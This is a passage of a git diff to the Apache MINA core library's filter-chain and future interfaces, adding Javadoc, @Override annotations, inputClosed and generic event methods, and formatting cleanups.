nextFilter the {@link NextFilter} for this filter. You can reuse * this object until this filter is removed from the chain. + * @throws Exception If an error occurred while processing the event */ - void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) - throws Exception; + void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception; /** * Filters {@link IoHandler#sessionCreated(IoSession)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @throws Exception If an error occurred while processing the event */ - void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception; + void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception; /** * Filters {@link IoHandler#sessionOpened(IoSession)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @throws Exception If an error occurred while processing the event */ - void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception; + void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception; /** * Filters {@link IoHandler#sessionClosed(IoSession)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @throws Exception If an error occurred while processing the event */ - void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception; + void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception; /** - * Filters {@link IoHandler#sessionIdle(IoSession,IdleStatus)} - * event. + * Filters {@link IoHandler#sessionIdle(IoSession,IdleStatus)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @param status The {@link IdleStatus} type + * @throws Exception If an error occurred while processing the event */ - void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) - throws Exception; + void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception; /** - * Filters {@link IoHandler#exceptionCaught(IoSession,Throwable)} - * event. + * Filters {@link IoHandler#exceptionCaught(IoSession,Throwable)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @param cause The exception that cause this event to be received + * @throws Exception If an error occurred while processing the event */ - void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception; + void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception; /** - * Filters {@link IoHandler#messageReceived(IoSession,Object)} - * event. + * Filters {@link IoHandler#inputClosed(IoSession)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @throws Exception If an error occurred while processing the event */ - void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception; + void inputClosed(NextFilter nextFilter, IoSession session) throws Exception; /** - * Filters {@link IoHandler#messageSent(IoSession,Object)} - * event. + * Filters {@link IoHandler#messageReceived(IoSession,Object)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @param message The received message + * @throws Exception If an error occurred while processing the event */ - void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception; + void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception; /** - * Filters {@link IoSession#close()} method invocation. + * Filters {@link IoHandler#messageSent(IoSession,Object)} event. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has received this event + * @param writeRequest The {@link WriteRequest} that contains the sent message + * @throws Exception If an error occurred while processing the event + */ + void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception; + + /** + * Filters {@link IoSession#closeNow()} or a {@link IoSession#closeOnFlush()} method invocations. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session + * The {@link IoSession} which has to process this method + * invocation + * @throws Exception If an error occurred while processing the event */ void filterClose(NextFilter nextFilter, IoSession session) throws Exception; /** * Filters {@link IoSession#write(Object)} method invocation. + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has to process this invocation + * @param writeRequest The {@link WriteRequest} to process + * @throws Exception If an error occurred while processing the event */ - void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception; + void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception; + /** + * Propagate an event up to the {@link IoHandler} + * + * @param nextFilter + * the {@link NextFilter} for this filter. You can reuse this + * object until this filter is removed from the chain. + * @param session The {@link IoSession} which has to process this invocation + * @param event The event to propagate + * @throws Exception If an error occurred while processing the event + */ + void event(NextFilter nextFilter, IoSession session, FilterEvent event) throws Exception; + /** * Represents the next {@link IoFilter} in {@link IoFilterChain}. */ - public interface NextFilter { + interface NextFilter { /** - * Forwards sessionCreated event to next filter. + * Forwards sessionCreated event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation */ void sessionCreated(IoSession session); /** - * Forwards sessionOpened event to next filter. + * Forwards sessionOpened event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation */ void sessionOpened(IoSession session); /** - * Forwards sessionClosed event to next filter. + * Forwards sessionClosed event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation */ void sessionClosed(IoSession session); /** - * Forwards sessionIdle event to next filter. + * Forwards sessionIdle event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + * @param status The {@link IdleStatus} type */ void sessionIdle(IoSession session, IdleStatus status); /** - * Forwards exceptionCaught event to next filter. + * Forwards exceptionCaught event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + * @param cause The exception that cause this event to be received */ void exceptionCaught(IoSession session, Throwable cause); /** - * Forwards messageReceived event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + */ + void inputClosed(IoSession session); + + /** + * Forwards messageReceived event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + * @param message The received message */ void messageReceived(IoSession session, Object message); /** - * Forwards messageSent event to next filter. + * Forwards messageSent event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + * @param writeRequest The {@link WriteRequest} to process */ void messageSent(IoSession session, WriteRequest writeRequest); /** - * Forwards filterWrite event to next filter. + * Forwards filterWrite event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + * @param writeRequest The {@link WriteRequest} to process */ void filterWrite(IoSession session, WriteRequest writeRequest); /** - * Forwards filterClose event to next filter. + * Forwards filterClose event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation */ void filterClose(IoSession session); - + + /** + * Forwards an event to next filter. + * + * @param session The {@link IoSession} which has to process this invocation + * @param event The event to propagate + */ + void event(IoSession session, FilterEvent event); } } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterAdapter.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterAdapter.java index e3946a17fa..5ea6b156c7 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterAdapter.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterAdapter.java @@ -22,6 +22,7 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; /** * An adapter class for {@link IoFilter}. You can extend @@ -34,115 +35,137 @@ public class IoFilterAdapter implements IoFilter { /** * {@inheritDoc} */ + @Override public void init() throws Exception { } /** * {@inheritDoc} */ + @Override public void destroy() throws Exception { } /** * {@inheritDoc} */ - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + @Override + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { } /** * {@inheritDoc} */ - public void onPostAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + @Override + public void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { } /** * {@inheritDoc} */ - public void onPreRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + @Override + public void onPreRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { } /** * {@inheritDoc} */ - public void onPostRemove(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + @Override + public void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { } /** * {@inheritDoc} */ - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + @Override + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { nextFilter.sessionCreated(session); } /** * {@inheritDoc} */ - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { + @Override + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { nextFilter.sessionOpened(session); } /** * {@inheritDoc} */ - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + @Override + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { nextFilter.sessionClosed(session); } /** * {@inheritDoc} */ - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { + @Override + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { nextFilter.sessionIdle(session, status); } /** * {@inheritDoc} */ - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { + @Override + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { nextFilter.exceptionCaught(session, cause); } /** * {@inheritDoc} */ - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { + @Override + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { nextFilter.messageReceived(session, message); } /** * {@inheritDoc} */ - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + @Override + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { nextFilter.messageSent(session, writeRequest); } /** * {@inheritDoc} */ - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + @Override + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { nextFilter.filterWrite(session, writeRequest); } /** * {@inheritDoc} */ - public void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { + @Override + public void filterClose(NextFilter nextFilter, IoSession session) throws Exception { nextFilter.filterClose(session); } - + + /** + * {@inheritDoc} + */ + @Override + public void inputClosed(NextFilter nextFilter, IoSession session) throws Exception { + nextFilter.inputClosed(session); + } + + /** + * {@inheritDoc} + */ + @Override + public void event(NextFilter nextFilter, IoSession session, FilterEvent event) throws Exception { + nextFilter.event(session, event); + } + + /** + * {@inheritDoc} + */ + @Override public String toString() { return this.getClass().getSimpleName(); } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChain.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChain.java index 8f074473dc..7887406e1e 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChain.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChain.java @@ -26,6 +26,7 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; /** * A container of {@link IoFilter}s that forwards {@link IoHandler} events @@ -36,62 +37,60 @@ */ public interface IoFilterChain { /** - * Returns the parent {@link IoSession} of this chain. - * - * @return {@link IoSession} + * @return the parent {@link IoSession} of this chain. */ IoSession getSession(); /** - * Returns the {@link Entry} with the specified name in this chain. + * Returns the {@link Entry} with the specified name in this chain. * * @param name The filter's name we are looking for - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ Entry getEntry(String name); /** - * Returns the {@link Entry} with the specified filter in this chain. + * Returns the {@link Entry} with the specified filter in this chain. * * @param filter The Filter we are looking for - * @return null if there's no such filter in this chain + * @return null if there's no such filter in this chain */ Entry getEntry(IoFilter filter); /** - * Returns the {@link Entry} with the specified filterType + * Returns the {@link Entry} with the specified filterType * in this chain. If there's more than one filter with the specified * type, the first match will be chosen. * * @param filterType The filter class we are looking for - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ Entry getEntry(Class filterType); /** - * Returns the {@link IoFilter} with the specified name in this chain. + * Returns the {@link IoFilter} with the specified name in this chain. * * @param name the filter's name - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ IoFilter get(String name); /** - * Returns the {@link IoFilter} with the specified filterType + * Returns the {@link IoFilter} with the specified filterType * in this chain. If there's more than one filter with the specified * type, the first match will be chosen. * * @param filterType The filter class - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ IoFilter get(Class filterType); /** * Returns the {@link NextFilter} of the {@link IoFilter} with the - * specified name in this chain. + * specified name in this chain. * * @param name The filter's name we want the next filter - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ NextFilter getNextFilter(String name); @@ -100,17 +99,17 @@ public interface IoFilterChain { * in this chain. * * @param filter The filter for which we want the next filter - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ NextFilter getNextFilter(IoFilter filter); /** - * Returns the {@link NextFilter} of the specified filterType + * Returns the {@link NextFilter} of the specified filterType * in this chain. If there's more than one filter with the specified * type, the first match will be chosen. * * @param filterType The Filter class for which we want the next filter - * @return null if there's no such name in this chain + * @return null if there's no such name in this chain */ NextFilter getNextFilter(Class filterType); @@ -127,23 +126,23 @@ public interface IoFilterChain { /** * @param name The filter's name we are looking for * - * @return true if this chain contains an {@link IoFilter} with the - * specified name. + * @return true if this chain contains an {@link IoFilter} with the + * specified name. */ boolean contains(String name); /** * @param filter The filter we are looking for * - * @return true if this chain contains the specified filter. + * @return true if this chain contains the specified filter. */ boolean contains(IoFilter filter); /** * @param filterType The filter's class we are looking for * - * @return true if this chain contains an {@link IoFilter} of the - * specified filterType. + * @return true if this chain contains an {@link IoFilter} of the + * specified filterType. */ boolean contains(Class filterType); @@ -209,6 +208,7 @@ public interface IoFilterChain { * * @param oldFilterType The filter class we want to replace * @param newFilter The new filter + * @return The replaced IoFilter */ IoFilter replace(Class oldFilterType, IoFilter newFilter); @@ -221,25 +221,26 @@ public interface IoFilterChain { IoFilter remove(String name); /** - * Replace the filter with the specified name with the specified new - * filter. - * - * @param name The filter to remove + * Replace the filter with the specified name with the specified new filter. + * + * @param filter The filter to remove */ void remove(IoFilter filter); /** - * Replace the filter of the specified type with the specified new - * filter. If there's more than one filter with the specified type, - * the first match will be replaced. - * - * @param name The filter class to remove + * Replace the filter of the specified type with the specified new filter. + * If there's more than one filter with the specified type, the first match + * will be replaced. + * + * @param filterType The filter class to remove * @return The removed filter */ IoFilter remove(Class filterType); /** * Removes all filters added to this chain. + * + * @throws Exception If we weren't able to clear the filters */ void clear() throws Exception; @@ -248,21 +249,21 @@ public interface IoFilterChain { * call this method at all. Please use this method only when you implement a new transport * or fire a virtual event. */ - public void fireSessionCreated(); + void fireSessionCreated(); /** * Fires a {@link IoHandler#sessionOpened(IoSession)} event. Most users don't need to call * this method at all. Please use this method only when you implement a new transport or * fire a virtual event. */ - public void fireSessionOpened(); + void fireSessionOpened(); /** * Fires a {@link IoHandler#sessionClosed(IoSession)} event. Most users don't need to call * this method at all. Please use this method only when you implement a new transport or * fire a virtual event. */ - public void fireSessionClosed(); + void fireSessionClosed(); /** * Fires a {@link IoHandler#sessionIdle(IoSession, IdleStatus)} event. Most users don't @@ -271,25 +272,25 @@ public interface IoFilterChain { * * @param status The current status to propagate */ - public void fireSessionIdle(IdleStatus status); + void fireSessionIdle(IdleStatus status); /** - * Fires a {@link IoHandler#messageReceived(Object)} event. Most users don't need to - * call this method at all. Please use this method only when you implement a new transport - * or fire a virtual event. + * Fires a {@link IoHandler#messageReceived(IoSession, Object)} event. Most + * users don't need to call this method at all. Please use this method only + * when you implement a new transport or fire a virtual event. * * @param message The received message */ - public void fireMessageReceived(Object message); + void fireMessageReceived(Object message); /** - * Fires a {@link IoHandler#messageSent(IoSession)} event. Most users don't need to call - * this method at all. Please use this method only when you implement a new transport or - * fire a virtual event. + * Fires a {@link IoHandler#messageSent(IoSession, Object)} event. Most + * users don't need to call this method at all. Please use this method only + * when you implement a new transport or fire a virtual event. * * @param request The sent request */ - public void fireMessageSent(WriteRequest request); + void fireMessageSent(WriteRequest request); /** * Fires a {@link IoHandler#exceptionCaught(IoSession, Throwable)} event. Most users don't @@ -298,37 +299,54 @@ public interface IoFilterChain { * * @param cause The exception cause */ - public void fireExceptionCaught(Throwable cause); + void fireExceptionCaught(Throwable cause); + + /** + * Fires a {@link IoHandler#inputClosed(IoSession)} event. Most users don't + * need to call this method at all. Please use this method only when you + * implement a new transport or fire a virtual event. + */ + void fireInputClosed(); /** - * Fires a {@link IoSession#write(Object)} event. Most users don't need to call this - * method at all. Please use this method only when you implement a new transport or fire a - * virtual event. + * Fires a {@link IoSession#write(Object)} event. Most users don't need to + * call this method at all. Please use this method only when you implement a + * new transport or fire a virtual event. * * @param writeRequest The message to write */ - public void fireFilterWrite(WriteRequest writeRequest); + void fireFilterWrite(WriteRequest writeRequest); /** - * Fires a {@link IoSession#close()} event. Most users don't need to call this method at + * Fires a {@link IoSession#closeNow()} or a {@link IoSession#closeOnFlush()} event. Most users don't need to call this method at + * all. Please use this method only when you implement a new transport or fire a virtual + * event. + */ + void fireFilterClose(); + + + /** + * Fires a {@link IoHandler#event(IoSession, FilterEvent)} event. Most users don't need to call this method at * all. Please use this method only when you implement a new transport or fire a virtual * event. + * + * @param event The specific event being fired */ - public void fireFilterClose(); + void fireEvent(FilterEvent event); /** * Represents a name-filter pair that an {@link IoFilterChain} contains. * * @author Apache MINA Project */ - public interface Entry { + interface Entry { /** - * Returns the name of the filter. + * @return the name of the filter. */ String getName(); /** - * Returns the filter. + * @return the filter. */ IoFilter getFilter(); @@ -336,22 +354,30 @@ public interface Entry { * @return The {@link NextFilter} of the filter. */ NextFilter getNextFilter(); - + /** * Adds the specified filter with the specified name just before this entry. + * + * @param name The Filter's name + * @param filter The added Filter */ void addBefore(String name, IoFilter filter); /** * Adds the specified filter with the specified name just after this entry. + * + * @param name The Filter's name + * @param filter The added Filter */ void addAfter(String name, IoFilter filter); /** * Replace the filter of this entry with the specified new filter. + * + * @param newFilter The new filter that will be put in the chain */ void replace(IoFilter newFilter); - + /** * Removes this entry from the chain it belongs to. */ diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChainBuilder.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChainBuilder.java index 7f9d1f5bb5..046f731f6d 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChainBuilder.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterChainBuilder.java @@ -41,9 +41,16 @@ public interface IoFilterChainBuilder { * An implementation which does nothing. */ IoFilterChainBuilder NOOP = new IoFilterChainBuilder() { + /** + * {@inheritDoc} + */ + @Override public void buildFilterChain(IoFilterChain chain) throws Exception { } + /** + * {@inheritDoc} + */ @Override public String toString() { return "NOOP"; @@ -51,7 +58,10 @@ public String toString() { }; /** - * Modifies the specified chain. + * Modifies the specified chain. + * + * @param chain The chain to modify + * @throws Exception If the chain modification failed */ void buildFilterChain(IoFilterChain chain) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterEvent.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterEvent.java index fa1454b2a9..99901dc644 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterEvent.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterEvent.java @@ -25,6 +25,7 @@ import org.apache.mina.core.session.IoEventType; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -37,85 +38,106 @@ */ public class IoFilterEvent extends IoEvent { /** A logger for this class */ - static Logger LOGGER = LoggerFactory.getLogger(IoFilterEvent.class); - + private static final Logger LOGGER = LoggerFactory.getLogger(IoFilterEvent.class); + /** A speedup for logs */ - static boolean DEBUG = LOGGER.isDebugEnabled(); + private static final boolean DEBUG = LOGGER.isDebugEnabled(); + /** The filter to call next */ private final NextFilter nextFilter; - public IoFilterEvent(NextFilter nextFilter, IoEventType type, - IoSession session, Object parameter) { + /** + * Creates a new IoFilterEvent instance + * + * @param nextFilter The next Filter + * @param type The type of event + * @param session The current session + * @param parameter Any parameter + */ + public IoFilterEvent(NextFilter nextFilter, IoEventType type, IoSession session, Object parameter) { super(type, session, parameter); if (nextFilter == null) { throw new IllegalArgumentException("nextFilter must not be null"); } - + this.nextFilter = nextFilter; } + /** + * @return The next filter + */ public NextFilter getNextFilter() { return nextFilter; } + /** + * {@inheritDoc} + */ @Override public void fire() { IoSession session = getSession(); - NextFilter nextFilter = getNextFilter(); IoEventType type = getType(); if (DEBUG) { - LOGGER.debug( "Firing a {} event for session {}",type, session.getId() ); + LOGGER.debug("Firing a {} event for session {}", type, session.getId()); } switch (type) { - case MESSAGE_RECEIVED: - Object parameter = getParameter(); - nextFilter.messageReceived(session, parameter); - break; - - case MESSAGE_SENT: - WriteRequest writeRequest = (WriteRequest)getParameter(); - nextFilter.messageSent(session, writeRequest); - break; - - case WRITE: - writeRequest = (WriteRequest)getParameter(); - nextFilter.filterWrite(session, writeRequest); - break; - - case CLOSE: - nextFilter.filterClose(session); - break; - - case EXCEPTION_CAUGHT: - Throwable throwable = (Throwable)getParameter(); - nextFilter.exceptionCaught(session, throwable); - break; - - case SESSION_IDLE: - nextFilter.sessionIdle(session, (IdleStatus) getParameter()); - break; - - case SESSION_OPENED: - nextFilter.sessionOpened(session); - break; - - case SESSION_CREATED: - nextFilter.sessionCreated(session); - break; - - case SESSION_CLOSED: - nextFilter.sessionClosed(session); - break; - - default: - throw new IllegalArgumentException("Unknown event type: " + type); + case CLOSE: + nextFilter.filterClose(session); + break; + + case EVENT: + nextFilter.event(session, (FilterEvent)getParameter()); + break; + + case EXCEPTION_CAUGHT: + Throwable throwable = (Throwable) getParameter(); + nextFilter.exceptionCaught(session, throwable); + break; + + case INPUT_CLOSED: + nextFilter.inputClosed(session); + break; + + case MESSAGE_RECEIVED: + Object parameter = getParameter(); + nextFilter.messageReceived(session, parameter); + break; + + case MESSAGE_SENT: + WriteRequest writeRequest = (WriteRequest) getParameter(); + nextFilter.messageSent(session, writeRequest); + break; + + case SESSION_CLOSED: + nextFilter.sessionClosed(session); + break; + + case SESSION_CREATED: + nextFilter.sessionCreated(session); + break; + + case SESSION_IDLE: + nextFilter.sessionIdle(session, (IdleStatus) getParameter()); + break; + + case SESSION_OPENED: + nextFilter.sessionOpened(session); + break; + + case WRITE: + writeRequest = (WriteRequest) getParameter(); + nextFilter.filterWrite(session, writeRequest); + break; + + default: + throw new IllegalArgumentException("Unknown event type: " + type); } - + if (DEBUG) { - LOGGER.debug( "Event {} has been fired for session {}", type, session.getId() ); + LOGGER.debug("Event {} has been fired for session {}", type, session.getId()); } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterLifeCycleException.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterLifeCycleException.java index 9e94251086..f389705355 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterLifeCycleException.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/IoFilterLifeCycleException.java @@ -19,7 +19,6 @@ */ package org.apache.mina.core.filterchain; - /** * A {@link RuntimeException} which is thrown when {@link IoFilter#init()} * or {@link IoFilter#onPostAdd(IoFilterChain, String, org.apache.mina.core.filterchain.IoFilter.NextFilter)} @@ -30,17 +29,37 @@ public class IoFilterLifeCycleException extends RuntimeException { private static final long serialVersionUID = -5542098881633506449L; + /** + * Creates a new IoFilterLifeCycleException instance + */ public IoFilterLifeCycleException() { + // Default exception } + /** + * Creates a new IoFilterLifeCycleException instance + * + * @param message The error message + */ public IoFilterLifeCycleException(String message) { super(message); } + /** + * Creates a new IoFilterLifeCycleException instance + * + * @param message The error message + * @param cause The original error cause + */ public IoFilterLifeCycleException(String message, Throwable cause) { super(message, cause); } + /** + * Creates a new IoFilterLifeCycleException instance + * + * @param cause The original error cause + */ public IoFilterLifeCycleException(Throwable cause) { super(cause); } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/CloseFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/CloseFuture.java index 3b806b1778..4ba60e5383 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/CloseFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/CloseFuture.java @@ -19,16 +19,17 @@ */ package org.apache.mina.core.future; - /** * An {@link IoFuture} for asynchronous close requests. * - *

Example

+ *

Example

*
  * IoSession session = ...;
  * CloseFuture future = session.close(true);
+ * 
  * // Wait until the connection is closed
  * future.awaitUninterruptibly();
+ * 
  * // Now connection should be closed.
  * assert future.isClosed();
  * 
@@ -37,22 +38,38 @@ */ public interface CloseFuture extends IoFuture { /** - * Returns true if the close request is finished and the session is closed. + * @return true if the close request is finished and the session is closed. */ boolean isClosed(); /** * Marks this future as closed and notifies all threads waiting for this - * future. This method is invoked by MINA internally. Please do not call + * future. This method is invoked by MINA internally. Please do not call * this method directly. */ void setClosed(); + /** + * {@inheritDoc} + */ + @Override CloseFuture await() throws InterruptedException; + /** + * {@inheritDoc} + */ + @Override CloseFuture awaitUninterruptibly(); + /** + * {@inheritDoc} + */ + @Override CloseFuture addListener(IoFutureListener listener); + /** + * {@inheritDoc} + */ + @Override CloseFuture removeListener(IoFutureListener listener); } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/CompositeIoFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/CompositeIoFuture.java index 69faeaeecd..1903f7eecb 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/CompositeIoFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/CompositeIoFuture.java @@ -35,26 +35,40 @@ * @param the type of the child futures. */ public class CompositeIoFuture extends DefaultIoFuture { - + /** A listener */ private final NotifyingListener listener = new NotifyingListener(); + + /** A thread safe counter that is used to keep a track of the notified futures */ private final AtomicInteger unnotified = new AtomicInteger(); + + /** A flag set to TRUE when all the future have been added to the list */ private volatile boolean constructionFinished; - + + /** + * Creates a new CompositeIoFuture instance + * + * @param children The list of internal futures + */ public CompositeIoFuture(Iterable children) { super(null); - - for (E f: children) { - f.addListener(listener); + + for (E child : children) { + child.addListener(listener); unnotified.incrementAndGet(); } - + constructionFinished = true; + if (unnotified.get() == 0) { setValue(true); } } - + private class NotifyingListener implements IoFutureListener { + /** + * {@inheritDoc} + */ + @Override public void operationComplete(IoFuture future) { if (unnotified.decrementAndGet() == 0 && constructionFinished) { setValue(true); diff --git a/mina-core/src/main/java/org/apache/mina/core/future/ConnectFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/ConnectFuture.java index ad3cd486aa..83b2e299cd 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/ConnectFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/ConnectFuture.java @@ -24,11 +24,11 @@ /** * An {@link IoFuture} for asynchronous connect requests. * - *

Example

+ *

Example

*
  * IoConnector connector = ...;
  * ConnectFuture future = connector.connect(...);
- * future.join(); // Wait until the connection attempt is finished.
+ * future.awaitUninterruptibly(); // Wait until the connection attempt is finished.
  * IoSession session = future.getSession();
  * session.write(...);
  * 
@@ -39,26 +39,28 @@ public interface ConnectFuture extends IoFuture { /** * Returns {@link IoSession} which is the result of connect operation. * - * @return null if the connect operation is not finished yet - * @throws RuntimeException if connection attempt failed by an exception + * @return The {link IoSession} instance that has been associated with the connection, + * if the connection was successful, {@code null} otherwise */ + @Override IoSession getSession(); /** * Returns the cause of the connection failure. * - * @return null if the connect operation is not finished yet, - * or if the connection attempt is successful. + * @return null if the connect operation is not finished yet, + * or if the connection attempt is successful, otherwise returns + * the cause of the exception */ Throwable getException(); /** - * Returns true if the connect operation is finished successfully. + * @return {@code true} if the connect operation is finished successfully. */ boolean isConnected(); /** - * Returns {@code true} if the connect operation has been canceled by + * @return {@code true} if the connect operation has been canceled by * {@link #cancel()} method. */ boolean isCanceled(); @@ -67,6 +69,8 @@ public interface ConnectFuture extends IoFuture { * Sets the newly connected session and notifies all threads waiting for * this future. This method is invoked by MINA internally. Please do not * call this method directly. + * + * @param session The created session to store in the ConnectFuture insteance */ void setSession(IoSession session); @@ -74,20 +78,41 @@ public interface ConnectFuture extends IoFuture { * Sets the exception caught due to connection failure and notifies all * threads waiting for this future. This method is invoked by MINA * internally. Please do not call this method directly. + * + * @param exception The exception to store in the ConnectFuture instance */ void setException(Throwable exception); /** * Cancels the connection attempt and notifies all threads waiting for * this future. + * + * @return {@code true} if the future has been cancelled by this call, {@code false} + * if the future was already cancelled. */ - void cancel(); + boolean cancel(); + /** + * {@inheritDoc} + */ + @Override ConnectFuture await() throws InterruptedException; + /** + * {@inheritDoc} + */ + @Override ConnectFuture awaitUninterruptibly(); + /** + * {@inheritDoc} + */ + @Override ConnectFuture addListener(IoFutureListener listener); + /** + * {@inheritDoc} + */ + @Override ConnectFuture removeListener(IoFutureListener listener); } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/DefaultCloseFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/DefaultCloseFuture.java index 6250c47894..9e38015888 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/DefaultCloseFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/DefaultCloseFuture.java @@ -21,7 +21,6 @@ import org.apache.mina.core.session.IoSession; - /** * A default implementation of {@link CloseFuture}. * @@ -30,11 